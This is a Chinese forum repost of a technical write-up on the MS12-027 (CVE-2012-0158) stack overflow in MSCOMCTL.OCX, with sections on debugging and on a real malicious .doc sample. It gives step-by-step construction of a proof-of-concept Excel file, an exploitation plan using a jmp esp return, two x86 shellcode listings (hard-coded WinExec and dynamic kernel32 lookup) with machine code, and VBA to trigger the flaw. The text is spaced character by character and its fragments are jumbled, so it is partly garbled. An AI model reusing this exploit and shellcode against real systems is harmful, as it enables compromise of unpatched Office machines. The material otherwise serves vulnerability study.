搜索

[22298] 2021-08-29_MS12-027及利用样本分析

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2021-08-29_MS12-027及利用样本分析 M S 1 2 - 0 2 7 及 利 用 样 本 分 析 L e m o n S e c   2 0 2 1 - 0 8 - 2 9 看 雪 论 坛   作 者 I D ： 免 孑 0 x 0 0   前 言 前 言 分 析 环 境 ： *   O S 版 本 ： W i n d o w s   7   S e r v i c e   P a c k   1   x 8 6 *   O f f i c e 版 本 ： P r o f e s s i o n a l   2 0 0 7 *   M S C O M C T L . O C X 版 本 ： 6 . 0 1 . 9 5 4 5 该 版 本 M S C O M C T L . O C X 存 在 两 处 缓 冲 区 溢 出 ( 具 体 为 栈 溢 出 ) 漏 洞 ， 一 处 为 C V E - 2 0 1 2 - 0 1 5 8 ， 另 一 处 无 C V E 编 号 ， 均 在 M S 1 2 - 0 2 7 中 修 补 。 0 x 0 1   C V E - 2 0 1 2 - 0 1 5 8 0 x 0 1 . 1   漏 洞 成 因 漏 洞 成 因 M S C O M C T L . O C X 中 C O b j : : L o a d 函 数 对 输 入 数 据 进 行 错 误 校 验 ， 第 二 次 调 用 R e a d B y t e s F r o m S t r e a m P a d d e d ( ) 时 ， 会 造 成 溢 出 ， 进 而 可 以 劫 持 执 行 流 。 0 x 0 1 . 2   漏 洞 分 析 漏 洞 分 析 0 x 0 1 . 2 . a   P O C 构 造 构 造 通 过 E x c e l 解 析 L i s t V i e w 控 件 时 调 用 漏 洞 函 数 的 原 理 构 造 P O C ， 详 见 下 文 分 析 。   在 E x c e l 中 创 建 L i s t V i e w 控 件 并 添 加 L i s t I t e m 子 对 象 使 其 调 用 漏 洞 函 数 C O b j : : L o a d 。 此 处 用 V B A 代 码 进 行 添 加 并 将 其 编 译 生 成 对 象 ， 为 避 免 保 存 失 败 ， 编 译 后 需 删 除 相 应 代 码 并 保 存 文 件 ： 将 保 存 后 文 件 拖 入 w i n h e x ， 找 到 C O b j 类 ， 修 改 相 应 的 十 六 进 制 令 其 大 于 8 并 保 存 文 件 ， 再 次 打 开 E x c e l 弹 出 报 错 则 表 明
已 成 功 触 发 漏 洞 ： 0 x 0 1 . 2 . b   漏 洞 详 细 分 析 漏 洞 详 细 分 析 O l l y d b g 附 加 至 E x c e l 并 打 开 构 造 好 的 P O C ， E x c e l 报 错 将 弹 出 报 错 ， O l l y d b g 将 停 在 0 x 6 5 0 0 6 B 处 。   此 时 栈 中 情 况 如 下 图 所 示 。 可 以 猜 测 在 加 载 M S C O M C T L 模 块 时 出 现 问 题 ， 那 么 在 该 模 块 处 下 断 点 并 重 新 加 载 ： 最 终 发 现 执 行 至 0 x 2 7 5 c 8 a 5 6 处 发 生 错 误 ， 此 时 栈 情 况 如 下 ， 其 返 回 地 址 为 0 x 6 5 0 0 6 B ：
发 生 错 误 的 位 置 向 上 回 溯 ， 单 步 调 试 至 0 x 2 7 5 C 8 A 0 5 处 ， 发 现 调 用 该 函 数 后 ， 栈 被 覆 盖 ： 该 参 数 读 入 长 度 0 x 1 8 ， 是 构 造 P O C 时 修 改 的 读 入 长 度 ： 寄 存 器 e a x 值 为 需 要 读 入 的 字 符 地 址 ， 而 这 段 字 符 就 是 E x c e l 中 C o b j 关 键 字 后 的 内 容 ：
在 关 键 函 数 0 x 2 7 5 C 8 A 0 5 内 部 ， 0 x 2 7 5 C 8 7 8 D 有 一 处 验 证 变 量 值 的 语 句 ， 为 方 便 观 察 笔 者 将 数 值 修 改 为 0 x 1 8 、 0 x 1 9 。 构 造 P O C 时 修 改 的 两 个 数 值 前 者 为 读 入 长 度 ， 后 者 为 验 证 参 数 。 但 在 读 入 文 件 时 两 个 数 同 时 被 读 入 ， 因 此 该 验 证 可 通 过 修 改 文 件 数 据 直 接 绕 过 。   最 终 执 行 拷 贝 的 语 句 在 0 x 2 7 5 c 8 7 c b 处 ， 执 行 后 栈 发 生 改 变 ：   结 合 M S C O M C T L . O C X 模 块 的 I D A 伪 代 码 ： 0 x 0 1 . 2 . c   利 用 思 路 及 利 用 思 路 及 s h e l l c o d e 编 写 编 写 首 先 将 覆 盖 长 度 修 改 为 更 大 数 值 ， 之 后 修 改 返 回 地 址 指 向 j m p   e s p 指 令 ， 将 S h e l l c o d e 置 于 返 回 地 址 偏 移 0 x 8 处 使 其 能 成 功 被 执 行 。
( 1 )   S h e l l c o d e ( 硬 编 码 硬 编 码 ) 通 过 S t u d _ P E 获 取 K e r n e l 3 2 . d l l 模 块 基 址 及 W i n E x e c 偏 移 ， 构 造 语 句 W i n E x e c ( " A A A A . e x e " ,   5 ) i n t   m a i n ( v o i d ) {         _ _ a s m {                 P U S H         E B P                 M O V           E B P ,   E S P                 X O R           E A X , E A X                 P U S H         E A X                 P U S H         6 5 7 8 6 5 2 E h       / / " . e x e "                 P U S H         4 1 4 1 4 1 4 1 h     / / " A A A A "                                                         / / 若 此 处 修 改 为 6 3 6 c 6 1 6 3 ， 就 能 弹 出 计 算 器                 M O V           E A X , E S P                 P U S H         5                                           P U S H         E A X                         / /   " A A A A . e x e "                 M O V           E A X , 7 7 8 3 e 5 f d h       / / W i n E x e c ( " A A A A . e x e " ,   5 )                 C A L L         E A X                 M O V           E S P , E B P                 P O P           E B P         }         r e t u r n  
转 换 成 机 器 码 为 ： 5 5 8 B E C 5 5 8 B E C 3 3 C 0 5 0 6 8 2 E 6 5 7 8 6 5 6 8 4 1 4 1 4 1 4 1 8 B C 4 6 A 0 5 5 0 B 8 F D E 5 8 3 7 7 F F D 0 8 B E 5 5 D ( 2 )   S h e l l c o d e ( 动 态 获 取 模 块 基 址 ) 此 处 参 考 《 加 密 与 解 密 ( 第 四 版 ) 》 十 四 章 相 关 思 路 ， 通 过 T E B 查 找 法 获 取 K e r n e l 3 2 . d l l 基 址 ， 进 而 得 到 其 导 出 表 地 址 以 获 取 L o a d L i b r a r y ( ) 和 G e t P r o c e s s A d d r e s s ( ) 函 数 地 址 ， 通 过 它 们 组 合 来 获 取 任 意 D L L 中 的 A P I 地 址 。   汇 编 代 码 如 下 ：         r e t u r n   0 ; } i n t   m a i n ( v o i d ) {         _ _ a s m {                 / / 查 找 k e r n e l 3 2 . d l l 基 址                       X O R   E A X ,   E A X                 M O V   E A X ,   D W O R D   P T R   F S   :   [ 0 x 3 0 ] / / P E B                 M O V   E A X ,   D W O R D   P T R   [ E A X   +   0 x C ] / / P E B _ L D R _ D A T A                 M O V   E S I ,   D W O R D   P T R   [ E A X   +   0 x 1 4 ] / / 不 同 操 作 系 统 偏 移 不 同                 l o d s d                 X C H G   E A X ,   E S I                 l o d s d                 M O V   E B X ,   D W O R D   P T R   [ E A X   +   0 x 1 0 ] / / 获 取 k e r n e l 3 2 基 址                 M O V   E D X ,   D W O R D   P T R   [ E B X   +   0 X 3 C ] / /  
e _ l f a n e w                 M O V   E D X ,   D W O R D   P T R   [ E B X   +   E D X   +   0 X 7 8 ]   / /   E T A                 A D D   E D X ,   E B X                 M O V   E S I ,   D W O R D   P T R   [ E D X +   0 X 2 0 ] / / n a m e s t a b l e                 A D D   E S I ,   E B X                 X O R   E C X ,   E C X G E T _ F U N C T I O N :                 I N C   E C X                 l o d s d                 A D D   E A X ,   E B X / /   读 取 函 数 名 称                 C M P   D W O R D   P T R   [ E A X ] ,   0 X 5 0 7 4 6 5 4 7                 J N Z   G E T _ F U N C T I O N                 C M P   D W O R D   P T R   [ E A X   +   0 X 4 ] ,   0 x 4 1 6 3 6 f 7 2                 J N Z   G E T _ F U N C T I O N                 C M P   D W O R D   P T R   [ E A X   +   0 X 8 ] ,   0 x 6 5 7 2 6 4 6 4                 J N Z   G E T _ F U N C T I O N                 M O V   E S I ,   [ E D X   +   0 X 2 4 ]                 A D D   E S I ,   E B X                 M O V   C X ,   W O R D   P T R   [ E S I   +   E C X   *   2 ]
                D E C   E C X                 M O V   E S I ,   D W O R D   P T R   [ E D X   +   0 X 1 C ]                 A D D   E S I ,   E B X                 M O V   E D X ,   D W O R D   P T R   [ E S I   +   E C X   *   4 ]                 A D D   E D X ,   E B X   / / G E T p r o c A d d r e s s                 X O R   E C X ,   E C X                 p u s h   0 X 0 0 6 3 6 5 7 8   / / x e c                 P U S H   0 X 4 5 6 E 6 9 5 7   / / W i n E                 P U S H   E S P                 P U S H   E B X                 C A L L   E D X                 X O R   E C X , E C X                 P U S H   E C X                 P U S H   0 X 6 5 7 8 6 5 2 E       / / " . e x e "                 P U S H   0 X 4 1 4 1 4 1 4 1     / / " A A A A "                                                 / / 若 此 处 修 改 为 6 3 6 c 6 1 6 3 ， 就 能 弹 出 计 算 器                 M O V    
转 换 成 机 器 码 为 ： 此 处 需 要 注 意 的 是 ： 机 器 码 过 长 会 超 出 构 造 P O C 时 设 置 的 代 码 段 的 长 度 ， 这 里 笔 者 采 用 了 维 一 零 师 傅 的 方 式 ， 代 码 修 改 如 下 ， 以 保 证 S h e l l c o d e 正 常 读 入 及 执 行 ： E B X , E S P                 P U S H   5                                           P U S H   E B X                               C A L L   E A X         }         r e t u r n   0 ; } D i m   L 1   A s   L i s t I t e m D i m   k e y 1   A s   S t r i n g D i m   i   A s   I n t e g e r i   =   0 k e y 1   =   " k e y 1 " W h i l e   ( i   <   2 0 )         k e y 1   =   k e y 1   +   k e y 1         i   =   i   +   1 W e n d ' M s g B o x   ( k e y 1 ) S e t   L 1   =   L i s t V i e w 1 . L i s t I t e m s . A d d ( 1 ,   k e y 1   +   " 1 " ,   " t e s t 1 " ,   0 ,  
0 x 0 1 . 3   利 用 样 本 分 析 利 用 样 本 分 析 0 x 0 1 . 3 . a   基 本 信 息 基 本 信 息 N A M E :   m a l w a r e _ 1 2 6 4 . d o c M D 5 :   F 3 9 3 F D C 7 F 3 8 5 3 B C 7 C 4 3 5 C 1 3 A 4 9 6 2 C 6 8 8 S H A 1 :   4 8 5 1 0 7 5 4 C 8 F D 9 1 E 3 C D 5 9 3 0 A F 7 A E 7 5 5 D 4 A A 2 B 6 D 2 9 0 x 0 1 . 3 . b   详 细 分 析 详 细 分 析 0 x 2 7 5 c 8 a 5 6 处 为 漏 洞 触 发 位 置 ， 通 过 跳 板 指 令 j m p   e s p 转 至 S h e l l c o d e 执 行 并 解 密 数 据 ： 通 过 T E B 查 找 法 获 取 k e r n e l 3 2 . d l l 基 址 并 依 次 查 找 A P I 函 数 地 址 ： 0 ) S e t   L 2   =   L i s t V i e w 1 . L i s t I t e m s . A d d ( 2 ,   k e y 1   +   " 2 " ,   " t e s t 2 " ,   0 ,   0 ) S e t   L 3   =   L i s t V i e w 1 . L i s t I t e m s . A d d ( 3 ,   k e y 1   +   " 3 " ,   " t e s t 3 " ,   0 ,   0 )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理